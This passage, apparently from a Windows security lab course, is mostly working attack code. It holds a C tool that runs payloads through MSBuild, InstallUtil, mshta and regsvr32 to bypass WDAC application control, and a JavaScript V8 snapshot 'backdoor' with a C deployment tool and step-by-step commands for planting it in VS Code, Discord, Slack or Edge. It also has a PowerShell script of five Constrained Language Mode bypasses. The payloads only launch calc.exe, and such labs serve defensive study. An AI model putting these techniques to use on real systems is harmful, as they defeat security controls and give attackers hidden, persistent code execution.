" </Code>\n"
" </Task>\n"
" </UsingTask>\n"
"</Project>\n", taskName, taskName, className);
fclose(f);
printf("[+] Generated: %s\n", outputPath);
KillProcess("CalculatorApp.exe");
KillProcess("win32calc.exe");
char msbuildPath[MAX_PATH];
ExpandEnvironmentStringsA("%SystemRoot%\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe",
msbuildPath, MAX_PATH);
if (GetFileAttributesA(msbuildPath) == INVALID_FILE_ATTRIBUTES) {
printf("[-] MSBuild.exe not found\n");
return FALSE;
}
char cmdLine[1024];
snprintf(cmdLine, sizeof(cmdLine), "\"%s\" /nologo \"%s\"", msbuildPath, outputPath);
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = {0};
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
printf("[*] Executing MSBuild payload...\n");
if (!CreateProcessA(NULL, cmdLine, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
printf("[-] Failed to execute\n");
return FALSE;
}
WaitForSingleObject(pi.hProcess, 10000);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
Sleep(2000);
BOOL success = IsProcessRunning("CalculatorApp.exe") || IsProcessRunning("win32calc.exe");
if (success) {
printf("[+] SUCCESS: calc.exe launched via MSBuild\n");
KillProcess("CalculatorApp.exe");
KillProcess("win32calc.exe");
} else {
printf("[-] FAILED: calc.exe not detected\n");
}
DeleteFileA(outputPath);
return success;
}
BOOL TestInstallUtilPayload(const char* csPath, const char* dllPath) {
char className[64];
GenerateRandomName(className, sizeof(className));
FILE* f = fopen(csPath, "w");
if (!f) {
printf("[-] Failed to create %s\n", csPath);
return FALSE;
}
fprintf(f,
"using System;\n"
"using System.ComponentModel;\n"
"using System.Configuration.Install;\n"
"using System.Diagnostics;\n"
"\n"
"[RunInstaller(true)]\n"
"public class %s : Installer {\n"
" public override void Uninstall(System.Collections.IDictionary state) {\n"
" var p = new ProcessStartInfo();\n"
" p.FileName = \"calc.exe\";\n"
" p.WindowStyle = ProcessWindowStyle.Normal;\n"
" try { Process.Start(p); } catch { }\n"
" }\n"
"}\n", className);
fclose(f);
printf("[+] Generated: %s\n", csPath);
char cscPath[MAX_PATH];
ExpandEnvironmentStringsA("%SystemRoot%\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe",
cscPath, MAX_PATH);
char compileCmd[1024];
snprintf(compileCmd, sizeof(compileCmd),
"\"%s\" /nologo /target:library /out:\"%s\" \"%s\"",
cscPath, dllPath, csPath);
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = {0};
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
printf("[*] Compiling...\n");
if (!CreateProcessA(NULL, compileCmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
printf("[-] Compilation failed\n");
return FALSE;
}
WaitForSingleObject(pi.hProcess, 10000);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
if (GetFileAttributesA(dllPath) == INVALID_FILE_ATTRIBUTES) {
printf("[-] DLL not created\n");
DeleteFileA(csPath);
return FALSE;
}
KillProcess("CalculatorApp.exe");
KillProcess("win32calc.exe");
char installUtilPath[MAX_PATH];
ExpandEnvironmentStringsA("%SystemRoot%\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallUtil.exe",
installUtilPath, MAX_PATH);
char execCmd[1024];
snprintf(execCmd, sizeof(execCmd),
"\"%s\" /logtoconsole=false /logfile= /U \"%s\"",
installUtilPath, dllPath);
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
printf("[*] Executing InstallUtil payload...\n");
if (!CreateProcessA(NULL, execCmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
printf("[-] Failed to execute\n");
DeleteFileA(csPath);
DeleteFileA(dllPath);
return FALSE;
}
WaitForSingleObject(pi.hProcess, 10000);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
Sleep(2000);
BOOL success = IsProcessRunning("CalculatorApp.exe") || IsProcessRunning("win32calc.exe");
if (success) {
printf("[+] SUCCESS: calc.exe launched via InstallUtil\n");
KillProcess("CalculatorApp.exe");
KillProcess("win32calc.exe");
} else {
printf("[-] FAILED: calc.exe not detected\n");
}
DeleteFileA(csPath);
DeleteFileA(dllPath);
return success;
}
BOOL TestMshtaPayload(const char* htaPath) {
FILE* f = fopen(htaPath, "w");
if (!f) {
printf("[-] Failed to create %s\n", htaPath);
return FALSE;
}
fprintf(f,
"<html><head><HTA:APPLICATION SHOWINTASKBAR=\"no\" WINDOWSTATE=\"minimize\"/></head>\n"
"<body><script language=\"JScript\">\n"
"var shell = new ActiveXObject('WScript.Shell');\n"
"shell.Exec('calc.exe');\n"
"setTimeout(function(){window.close();}, 3000);\n"
"</script></body></html>\n");
fclose(f);
printf("[+] Generated: %s\n", htaPath);
KillProcess("CalculatorApp.exe");
KillProcess("win32calc.exe");
char mshtaPath[MAX_PATH];
ExpandEnvironmentStringsA("%SystemRoot%\\System32\\mshta.exe", mshtaPath, MAX_PATH);
if (GetFileAttributesA(mshtaPath) == INVALID_FILE_ATTRIBUTES) {
printf("[-] mshta.exe not found (removed in 25H2)\n");
DeleteFileA(htaPath);
return FALSE;
}
char cmdLine[1024];
snprintf(cmdLine, sizeof(cmdLine), "\"%s\" \"%s\"", mshtaPath, htaPath);
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = {0};
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
printf("[*] Executing mshta payload...\n");
if (!CreateProcessA(NULL, cmdLine, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
DWORD err = GetLastError();
printf("[-] Failed to execute (error: %lu)\n", err);
DeleteFileA(htaPath);
return FALSE;
}
Sleep(1500);
BOOL success = IsProcessRunning("CalculatorApp.exe") || IsProcessRunning("win32calc.exe");
DWORD exitCode = STILL_ACTIVE;
GetExitCodeProcess(pi.hProcess, &exitCode);
WaitForSingleObject(pi.hProcess, 5000);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
if (success) {
printf("[+] SUCCESS: calc.exe launched via mshta\n");
KillProcess("CalculatorApp.exe");
KillProcess("win32calc.exe");
DeleteFileA(htaPath);
return TRUE;
} else {
printf("[-] BLOCKED: Script execution restricted by system policy\n");
printf("[*] Likely cause: ASR rules, AppLocker, or WDAC blocking ActiveX/WScript\n");
printf("[*] File saved for inspection: %s\n", htaPath);
return FALSE;
}
}
BOOL TestRegsvr32Payload(const char* sctPath) {
FILE* f = fopen(sctPath, "w");
if (!f) {
printf("[-] Failed to create %s\n", sctPath);
return FALSE;
}
fprintf(f,
"<?XML version=\"1.0\"?>\n"
"<scriptlet>\n"
"<registration progid=\"X\" classid=\"{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}\"/>\n"
"<script language=\"VBScript\">\n"
"<![CDATA[\n"
"Set objShell = CreateObject(\"WScript.Shell\")\n"
"objShell.Run \"cmd.exe /c start calc.exe\", 0, False\n"
"WScript.Sleep 3000\n"
"]]>\n"
"</script>\n"
"</scriptlet>\n");
fclose(f);
printf("[+] Generated: %s\n", sctPath);
KillProcess("CalculatorApp.exe");
KillProcess("win32calc.exe");
char cmdLine[1024];
snprintf(cmdLine, sizeof(cmdLine),
"regsvr32.exe /s /n /u /i:\"%s\" scrobj.dll", sctPath);
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = {0};
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
printf("[*] Executing regsvr32 payload...\n");
if (!CreateProcessA(NULL, cmdLine, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
DWORD err = GetLastError();
printf("[-] Failed to execute (error: %lu)\n", err);
DeleteFileA(sctPath);
return FALSE;
}
Sleep(1500);
BOOL success = IsProcessRunning("CalculatorApp.exe") || IsProcessRunning("win32calc.exe");
DWORD exitCode = STILL_ACTIVE;
GetExitCodeProcess(pi.hProcess, &exitCode);
WaitForSingleObject(pi.hProcess, 5000);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
if (success) {
printf("[+] SUCCESS: calc.exe launched via regsvr32\n");
KillProcess("CalculatorApp.exe");
KillProcess("win32calc.exe");
DeleteFileA(sctPath);
return TRUE;
} else {
printf("[-] BLOCKED: Scriptlet execution restricted by system policy\n");
printf("[*] Likely cause: scrobj.dll disabled via ASR rules or WDAC\n");
printf("[*] File saved for inspection: %s\n", sctPath);
return FALSE;
}
}
int main(int argc, char* argv[]) {
printf("===========================================\n");
printf("WDAC Bypass Tester\n");
printf("===========================================\n\n");
if (argc < 2) {
printf("Usage: %s <technique>\n\n", argv[0]);
printf("Techniques:\n");
printf(" msbuild - Test MSBuild bypass\n");
printf(" installutil - Test InstallUtil bypass\n");
printf(" mshta - Test mshta bypass\n");
printf(" regsvr32 - Test regsvr32 bypass\n");
printf(" all - Test all techniques\n");
return 1;
}
const char* technique = argv[1];
int total = 0, passed = 0;
if (strcmp(technique, "msbuild") == 0 || strcmp(technique, "all") == 0) {
total++;
if (TestMSBuildPayload("test_build.xml")) passed++;
}
if (strcmp(technique, "installutil") == 0 || strcmp(technique, "all") == 0) {
total++;
if (TestInstallUtilPayload("test_install.cs", "test_install.dll")) passed++;
}
if (strcmp(technique, "mshta") == 0 || strcmp(technique, "all") == 0) {
total++;
if (TestMshtaPayload("test_app.hta")) passed++;
}
if (strcmp(technique, "regsvr32") == 0 || strcmp(technique, "all") == 0) {
total++;
if (TestRegsvr32Payload("test_script.sct")) passed++;
}
printf("\n===========================================\n");
printf("Results: %d/%d techniques working\n", passed, total);
printf("===========================================\n");
return (passed == total) ? 0 : 1;
}
Compile and Run
cl src\wdac_bypass_tester.c /Fe:bin\wdac_bypass_tester.exe user32.lib
.\bin\wdac_bypass_tester.exe all
# should see calc.exe popping
// v8_snapshot_payload.js - Malicious V8 heap snapshot gadget
// Using process.env flag to prevent multiple executions
const origArrayIsArray = Array.isArray;
let executionAttempted = false;
Array.isArray = function () {
const result = origArrayIsArray.apply(this, arguments);
if (!executionAttempted) {
executionAttempted = true;
setTimeout(() => {
try {
// Check if already executed using environment variable
if (process.env._V8_BACKDOOR_EXECUTED) {
console.log("[BACKDOOR] Already executed");
return;
}
// Set flag to prevent other processes from executing
process.env._V8_BACKDOOR_EXECUTED = "1";
console.log("[BACKDOOR] Executing...");
const { spawn } = process.binding("spawn_sync");
const spawnResult = spawn({
file: process.env.ComSpec || "C:\\Windows\\System32\\cmd.exe",
args: ["/c", "start", "calc.exe"],
cwd: undefined,
detached: false,
windowsVerbatimArguments: false,
windowsHide: false,
stdio: [{ type: "ignore" }, { type: "ignore" }, { type: "ignore" }],
});
console.log(
"[BACKDOOR] Result:",
spawnResult.error === 0
? "SUCCESS - calc.exe launched!"
: "Error: " + spawnResult.error,
);
} catch (e) {
console.log("[BACKDOOR] Error:", e.message);
}
}, 100);
}
return result;
};
Deployment tool (C implementation):
// deploy_v8_backdoor.c
// Compile: cl src\deploy_v8_backdoor.c /Fe:bin\deploy_v8_backdoor.exe shell32.lib version.lib
#include <windows.h>
#include <shlobj.h>
#include <stdio.h>
#pragma comment(lib, "shell32.lib")
#pragma comment(lib, "version.lib")
BOOL GetV8Version(const char* exePath, char* outVersion, size_t outSize) {
DWORD handle;
DWORD size = GetFileVersionInfoSizeA(exePath, &handle);
if (size == 0) return FALSE;
BYTE* versionInfo = (BYTE*)malloc(size);
if (!versionInfo) return FALSE;
if (!GetFileVersionInfoA(exePath, handle, size, versionInfo)) {
free(versionInfo);
return FALSE;
}
VS_FIXEDFILEINFO* fileInfo;
UINT len;
if (VerQueryValueA(versionInfo, "\\", (LPVOID*)&fileInfo, &len)) {
snprintf(outVersion, outSize, "%d.%d.%d.%d",
HIWORD(fileInfo->dwFileVersionMS),
LOWORD(fileInfo->dwFileVersionMS),
HIWORD(fileInfo->dwFileVersionLS),
LOWORD(fileInfo->dwFileVersionLS));
free(versionInfo);
return TRUE;
}
free(versionInfo);
return FALSE;
}
BOOL GetElectronVersion(const char* appPath, char* outVersion, size_t outSize) {
// Try to find version.txt or similar
char versionFile[MAX_PATH];
snprintf(versionFile, sizeof(versionFile), "%s\\version", appPath);
FILE* f = fopen(versionFile, "r");
if (f) {
if (fgets(outVersion, outSize, f)) {
// Remove newline
char* newline = strchr(outVersion, '\n');
if (newline) *newline = '\0';
fclose(f);
return TRUE;
}
fclose(f);
}
return FALSE;
}
BOOL FindElectronApp(char* outPath, size_t outSize, char* appName, size_t appNameSize) {
// Check for VS Code (user install)
char localAppData[MAX_PATH];
if (SHGetFolderPathA(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, localAppData) == S_OK) {
snprintf(outPath, outSize, "%s\\Programs\\Microsoft VS Code", localAppData);
DWORD attrs = GetFileAttributesA(outPath);
if (attrs != INVALID_FILE_ATTRIBUTES && (attrs & FILE_ATTRIBUTE_DIRECTORY)) {
strcpy(appName, "VS Code");
return TRUE;
}
}
// Check for Discord
if (SHGetFolderPathA(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, localAppData) == S_OK) {
snprintf(outPath, outSize, "%s\\Discord", localAppData);
DWORD attrs = GetFileAttributesA(outPath);
if (attrs != INVALID_FILE_ATTRIBUTES && (attrs & FILE_ATTRIBUTE_DIRECTORY)) {
strcpy(appName, "Discord");
return TRUE;
}
}
// Check for Slack
if (SHGetFolderPathA(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, localAppData) == S_OK) {
snprintf(outPath, outSize, "%s\\slack", localAppData);
DWORD attrs = GetFileAttributesA(outPath);
if (attrs != INVALID_FILE_ATTRIBUTES && (attrs & FILE_ATTRIBUTE_DIRECTORY)) {
strcpy(appName, "Slack");
return TRUE;
}
}
// Check for Edge (user install)
if (SHGetFolderPathA(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, localAppData) == S_OK) {
snprintf(outPath, outSize, "%s\\Microsoft\\Edge\\Application", localAppData);
DWORD attrs = GetFileAttributesA(outPath);
if (attrs != INVALID_FILE_ATTRIBUTES && (attrs & FILE_ATTRIBUTE_DIRECTORY)) {
strcpy(appName, "Edge");
return TRUE;
}
}
// Check for Edge (system install x86)
snprintf(outPath, outSize, "C:\\Program Files (x86)\\Microsoft\\Edge\\Application");
DWORD attrs = GetFileAttributesA(outPath);
if (attrs != INVALID_FILE_ATTRIBUTES && (attrs & FILE_ATTRIBUTE_DIRECTORY)) {
strcpy(appName, "Edge (system-wide)");
return TRUE;
}
// Check for Edge (system install x64)
snprintf(outPath, outSize, "C:\\Program Files\\Microsoft\\Edge\\Application");
attrs = GetFileAttributesA(outPath);
if (attrs != INVALID_FILE_ATTRIBUTES && (attrs & FILE_ATTRIBUTE_DIRECTORY)) {
strcpy(appName, "Edge (system-wide)");
return TRUE;
}
return FALSE;
}
BOOL FindVersionDir(const char* basePath, char* outPath, size_t outSize) {
char searchPath[MAX_PATH];
snprintf(searchPath, sizeof(searchPath), "%s\\*.*", basePath);
WIN32_FIND_DATAA findData;
HANDLE hFind = FindFirstFileA(searchPath, &findData);
if (hFind == INVALID_HANDLE_VALUE) return FALSE;
BOOL found = FALSE;
char latestVersion[MAX_PATH] = {0};
do {
if ((findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) &&
findData.cFileName[0] >= '0' && findData.cFileName[0] <= '9') {
if (latestVersion[0] == 0 || strcmp(findData.cFileName, latestVersion) > 0) {
strcpy(latestVersion, findData.cFileName);
found = TRUE;
}
}
} while (FindNextFileA(hFind, &findData));
FindClose(hFind);
if (found) {
snprintf(outPath, outSize, "%s\\%s", basePath, latestVersion);
}
return found;
}
BOOL IsDirectoryWritable(const char* path) {
char testFile[MAX_PATH];
snprintf(testFile, sizeof(testFile), "%s\\__test_write__.tmp", path);
HANDLE hFile = CreateFileA(testFile, GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_TEMPORARY, NULL);
if (hFile != INVALID_HANDLE_VALUE) {
CloseHandle(hFile);
DeleteFileA(testFile);
return TRUE;
}
return FALSE;
}
int main() {
printf("====================================\n");
printf("V8 Snapshot Backdoor Deployment Tool\n");
printf("====================================\n\n");
char appPath[MAX_PATH];
char appName[64];
if (!FindElectronApp(appPath, sizeof(appPath), appName, sizeof(appName))) {
printf("[-] No Electron apps found\n");
printf("[*] Checked for:\n");
printf(" - VS Code (%%LOCALAPPDATA%%\\Programs\\Microsoft VS Code)\n");
printf(" - Discord (%%LOCALAPPDATA%%\\Discord)\n");
printf(" - Slack (%%LOCALAPPDATA%%\\slack)\n");
printf(" - Edge (%%LOCALAPPDATA%%\\Microsoft\\Edge\\Application)\n");
printf(" - Edge (C:\\Program Files)\n\n");
printf("[*] Install an Electron app:\n");
printf(" winget install -e --id Microsoft.VisualStudioCode\n");
return 1;
}
printf("[+] Found: %s\n", appName);
printf("[+] Path: %s\n", appPath);
BOOL isWritable = IsDirectoryWritable(appPath);
printf("[*] Directory writable: %s\n", isWritable ? "YES (VULNERABLE!)" : "NO (requires admin)");
char versionPath[MAX_PATH];
if (!FindVersionDir(appPath, versionPath, sizeof(versionPath))) {
printf("[-] Version directory not found\n");
printf("[*] App may have different structure\n");
return 1;
}
char versionOnly[MAX_PATH];
strcpy(versionOnly, versionPath);
char* lastSlash = strrchr(versionOnly, '\\');
if (lastSlash) {
printf("[+] Version: %s\n", lastSlash + 1);
}
// Try to find the main executable
char exePath[MAX_PATH];
snprintf(exePath, sizeof(exePath), "%s\\Code.exe", appPath);
if (GetFileAttributesA(exePath) == INVALID_FILE_ATTRIBUTES) {
snprintf(exePath, sizeof(exePath), "%s\\msedge.exe", appPath);
}
if (GetFileAttributesA(exePath) == INVALID_FILE_ATTRIBUTES) {
snprintf(exePath, sizeof(exePath), "%s\\Discord.exe", appPath);
}
char electronVersion[64] = {0};
if (GetElectronVersion(appPath, electronVersion, sizeof(electronVersion))) {
printf("[+] Electron version: %s\n", electronVersion);
}
char fileVersion[64] = {0};
if (GetV8Version(exePath, fileVersion, sizeof(fileVersion))) {
printf("[+] File version: %s\n", fileVersion);
}
char snapshotPath[MAX_PATH];
snprintf(snapshotPath, sizeof(snapshotPath), "%s\\v8_context_snapshot.bin", versionPath);
DWORD snapshotAttrs = GetFileAttributesA(snapshotPath);
if (snapshotAttrs == INVALID_FILE_ATTRIBUTES) {
// Try alternative location (resources folder)
snprintf(snapshotPath, sizeof(snapshotPath), "%s\\resources\\v8_context_snapshot.bin", versionPath);
snapshotAttrs = GetFileAttributesA(snapshotPath);
}
if (snapshotAttrs == INVALID_FILE_ATTRIBUTES) {
printf("[-] Snapshot file not found\n");
printf("[*] Checked:\n");
printf(" - %s\\v8_context_snapshot.bin\n", versionPath);
printf(" - %s\\resources\\v8_context_snapshot.bin\n", versionPath);
printf("[*] App may not use V8 snapshots\n");
} else {
printf("[+] Target: %s\n", snapshotPath);
WIN32_FILE_ATTRIBUTE_DATA fileInfo;
if (GetFileAttributesExA(snapshotPath, GetFileExInfoStandard, &fileInfo)) {
ULONGLONG fileSize = ((ULONGLONG)fileInfo.nFileSizeHigh << 32) | fileInfo.nFileSizeLow;
printf("[*] Current size: %llu bytes\n", fileSize);
}
}
printf("\n===========================================\n");
printf("DEPLOYMENT STEPS:\n");
printf("===========================================\n");
if (!isWritable) {
printf("[!] WARNING: App directory is NOT user-writable\n");
printf("[!] This attack requires admin privileges\n");
printf("[!] Try a different Electron app\n\n");
}
printf("[!] CRITICAL: V8 version must match exactly!\n");
printf("[!] The snapshot you created uses V8 14.4.258.24-electron.0\n");
printf("[!] %s uses V8 14.2.231.22-electron.0\n", appName);
printf("[!] Version mismatch will cause crash on startup\n\n");
printf("To create a matching snapshot:\n");
printf("1. Install matching Electron version:\n");
printf(" npm install -g electron@33.2.1\n\n");
printf("2. Create snapshot with matching V8:\n");
printf(" npx electron-mksnapshot --version # Check V8 version\n");
printf(" # Find Electron version with V8 14.2.231.22\n");
printf(" # Then: npx electron-mksnapshot v8_snapshot_payload.js\n\n");
printf("3. Close %s completely:\n", appName);
printf(" taskkill /F /IM Code.exe 2>nul\n\n");
printf("4. Backup original snapshot:\n");
printf(" copy \"%s\" \"%s.bak\"\n\n", snapshotPath, snapshotPath);
printf("5. Deploy backdoored snapshot:\n");
if (isWritable) {
printf(" copy /y v8_context_snapshot.bin \"%s\"\n\n", snapshotPath);
} else {
printf(" (Requires admin) copy /y v8_context_snapshot.bin \"%s\"\n\n", snapshotPath);
}
printf("6. Launch %s - backdoor executes on startup!\n", appName);
printf(" Check %%TEMP%%\\edge_backdoor.log for confirmation\n");
printf(" Calc.exe should pop up\n\n");
printf("===========================================\n");
printf("DETECTION & CLEANUP:\n");
printf("===========================================\n");
printf("Restore: copy /y \"%s.bak\" \"%s\"\n", snapshotPath, snapshotPath);
printf("Or reinstall %s to restore integrity\n", appName);
printf("\n===========================================\n");
printf("OPERATIONAL CHALLENGE:\n");
printf("===========================================\n");
printf("V8 snapshot backdooring requires:\n");
printf("1. Knowing target's exact Electron/V8 version\n");
printf("2. Creating snapshot with matching V8 version\n");
printf("3. User-writable app installation\n");
printf("4. No integrity checking by the app\n\n");
printf("This makes the attack complex but still viable\n");
printf("if the attacker can fingerprint the target.\n");
return 0;
}
Compile and Run
winget install -e --id Microsoft.VisualStudioCode
winget install -e --id OpenJS.NodeJS.LTS
cl src\deploy_v8_backdoor.c /Fe:bin\deploy_v8_backdoor.exe shell32.lib
.\bin\deploy_v8_backdoor.exe
npm install -g electron@39.3.0
npm install -g electron-mksnapshot@39.3.0
npx electron-mksnapshot "c:\Windows_Mitigations_Lab\v8_snapshot_payload.js"
# Get-Process *code* | Stop-Process -Force
copy "C:\Users\dev\AppData\Local\Programs\Microsoft VS Code\591199df40\v8_context_snapshot.bin" "C:\Users\dev\AppData\Local\Programs\Microsoft VS Code\591199df40\v8_context_snapshot.bin.bak"
copy /y v8_context_snapshot.bin "C:\Users\dev\AppData\Local\Programs\Microsoft VS Code\591199df40\v8_context_snapshot.bin"
# Launch VS Code
"%LOCALAPPDATA%\Programs\Microsoft VS Code\Code.exe"
#Check %TEMP%\edge_backdoor.log for confirmation
#Calc.exe should pop up
# clm_bypass.ps1
# When WDAC enables Script Enforcement, PowerShell runs in CLM
# CLM blocks: Add-Type, New-Object (COM), .NET methods, unsafe cmdlets
param(
[switch]$Execute,
[string]$Technique = "all"
)
Write-Host @"
Current Language Mode: $($ExecutionContext.SessionState.LanguageMode)
"@
# ---- CHECK CURRENT MODE ----
function Check-LanguageMode {
$mode = $ExecutionContext.SessionState.LanguageMode
Write-Host "[*] Language Mode: $mode"
switch ($mode) {
"FullLanguage" {
Write-Host " -> Full access - no restrictions"
Write-Host " -> CLM is NOT active (no WDAC Script Enforcement)"
}
"ConstrainedLanguage" {
Write-Host " -> RESTRICTED - WDAC Script Enforcement active"
Write-Host " -> Blocked: Add-Type, [System.Runtime.*], COM objects"
Write-Host " -> Allowed: Basic cmdlets, approved modules only"
}
"RestrictedLanguage" {
Write-Host " -> VERY RESTRICTED - minimal access"
}
"NoLanguage" {
Write-Host " -> NO scripting allowed"
}
}
return $mode
}
function Invoke-RunspaceBypass {
param([switch]$Execute)
Write-Host "`n[*] BYPASS 1: Custom PowerShell Runspace"
Write-Host " Create a new runspace that doesn't inherit CLM."
if ($Execute) {
try {
Write-Host "`n [+] Attempting runspace bypass..."
$rs = [RunspaceFactory]::CreateRunspace()
$rs.Open()
$ps = [PowerShell]::Create()
$ps.Runspace = $rs
$result = $ps.AddScript("whoami; `$ExecutionContext.SessionState.LanguageMode").Invoke()
Write-Host " [+] Runspace created successfully!"
Write-Host " [+] Result: $result"
$rs.Close()
$ps.Dispose()
} catch {
Write-Host " [-] Failed: $($_.Exception.Message)"
Write-Host " [-] WDAC likely enforces CLM system-wide"
}
} else {
Write-Host " Use -Execute to run this bypass"
}
Write-Host "`n NOTE: This may not work if WDAC enforces CLM system-wide."
}
function Invoke-PSv2Bypass {
param([switch]$Execute)
Write-Host "`n[*] BYPASS 2: PowerShell v2 Downgrade"
Write-Host " PowerShell v2 doesn't support CLM!"
$isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
if ($isAdmin) {
$v2Feature = Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2 -ErrorAction SilentlyContinue
} else {
Write-Host " [!] Need admin to check feature status, checking binary only..."
$v2Feature = $null
}
if ($v2Feature -and $v2Feature.State -eq "Enabled") {
Write-Host " [!!!] PowerShell v2 is ENABLED on this system!"
if ($Execute) {
Write-Host "`n [+] Executing test command in PowerShell v2..."
$result = powershell -version 2 -command "Write-Host 'Running in PSv2'; `$PSVersionTable.PSVersion; `$ExecutionContext.SessionState.LanguageMode"
Write-Host " [+] Result: $result"
} else {
Write-Host ' Execute: powershell -version 2 -command "& {your_payload}"'
}
Write-Host " v2 ignores: CLM, Script Block Logging, AMSI"
} else {
Write-Host " [OK] PowerShell v2 is disabled"
}
}
function Invoke-LolbinEscape {
param([switch]$Execute)
Write-Host "`n[*] BYPASS 3: LOLBAS Escape (InstallUtil/RegSvcs)"
Write-Host " NOTE: MSBuild is now blocked by AMSI on 24H2/25H2"
Write-Host " Use InstallUtil.exe or RegSvcs.exe instead"
if ($Execute) {
Write-Host "`n [+] Generating InstallUtil payload..."
$installUtilPayload = @'
using System;
using System.Configuration.Install;
using System.Diagnostics;
public class Program {
public static void Main(string[] args) {
Console.WriteLine("[*] Normal execution");
}
}
[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer {
public override void Uninstall(System.Collections.IDictionary savedState) {
Console.WriteLine("[+] InstallUtil CLM Bypass Executed!");
Console.WriteLine("[+] Process: " + Process.GetCurrentProcess().ProcessName);
Process.Start("calc.exe");
}
}
'@
$csPath = ".\clm_bypass_installutil.cs"
$installUtilPayload | Out-File -FilePath $csPath -Encoding ASCII
Write-Host " [+] Payload written to: $csPath"
Write-Host "`n [*] To execute:"
Write-Host " 1. Compile: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library $csPath"
Write-Host " 2. Execute: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U clm_bypass_installutil.dll"
} else {
Write-Host " Use -Execute to generate payload files"
}
}
function Invoke-WmicBypass {
param([switch]$Execute)
Write-Host "`n[*] BYPASS 4: WMIC XSL Transform"
$wmic = Get-Command wmic.exe -ErrorAction SilentlyContinue
if ($wmic) {
Write-Host " [+] WMIC available"
if ($Execute) {
$xslPayload = @'
<?xml version="1.0"?>
<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform"
xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder" version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</ms:script>
<template match="/">
<value-of select="user:a()"/>
</template>
</stylesheet>
'@
$xslPath = ".\clm_bypass_wmic.xsl"
$xslPayload | Out-File -FilePath $xslPath -Encoding ASCII
Write-Host " [+] XSL payload written to: $xslPath"
Write-Host " [*] Execute: wmic process list /format:$xslPath"
} else {
Write-Host " Use -Execute to generate XSL payload"
}
} else {
Write-Host " [-] WMIC not available (removed in newer Windows 11)"
}
}
function Invoke-CimBypass {
param([switch]$Execute)
Write-Host "`n[*] BYPASS 5: Approved Cmdlet Abuse (Invoke-CimMethod)"
Write-Host " Even in CLM, approved cmdlets like Invoke-CimMethod work"
if ($Execute) {
Write-Host "`n [+] Executing calc.exe via WMI/CIM..."
try {
Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine="calc.exe"}
Write-Host " [+] Process created successfully via CIM!"
} catch {
Write-Host " [-] Failed: $($_.Exception.Message)"
}
} else {
Write-Host " Use -Execute to run calc.exe via Invoke-CimMethod"
}
}
$mode = Check-LanguageMode
if ($mode -eq "FullLanguage") {
Write-Host "`n[!] System is in FullLanguage mode - CLM bypasses not needed"
Write-Host "[!] Run with -Execute to test bypass techniques anyway"
}
switch ($Technique.ToLower()) {
"runspace" { Invoke-RunspaceBypass -Execute:$Execute }
"psv2" { Invoke-PSv2Bypass -Execute:$Execute }
"lolbin" { Invoke-LolbinEscape -Execute:$Execute }
"wmic" { Invoke-WmicBypass -Execute:$Execute }
"cim" { Invoke-CimBypass -Execute:$Execute }
default {
Invoke-RunspaceBypass -Execute:$Execute
Invoke-PSv2Bypass -Execute:$Execute
Invoke-LolbinEscape -Execute:$Execute
Invoke-WmicBypass -Execute:$Execute
Invoke-CimBypass -Execute:$Execute
}
}
Write-Host @"
USAGE:
.\clm_bypass.ps1 # Check all techniques
.\clm_bypass.ps1 -Execute # Execute all bypasses
.\clm_bypass.ps1 -Technique cim -Execute # Execute specific bypass
BYPASS ORDER:
1. Try PowerShell v2 downgrade first (if enabled)
2. If blocked, escape to InstallUtil/RegSvcs (NOT MSBuild - AMSI blocked)
3. Use Invoke-CimMethod for process creation in CLM
4. If .NET tools blocked, try WMIC XSL (if available)
5. Remember: CLM is enforced BY WDAC Script Enforcement
-> Bypassing WDAC = bypassing CLM automatically!
"@
Lab 5.1: WDAC Policy Audit
Lab 5.2: LOLBAS Execution
csc.exe /target:library clm_bypass_installutil.csInstallUtil.exe /logfile= /LogToConsole=false /U clm_bypass_installutil.dllLab 5.3: ASR Rule Testing
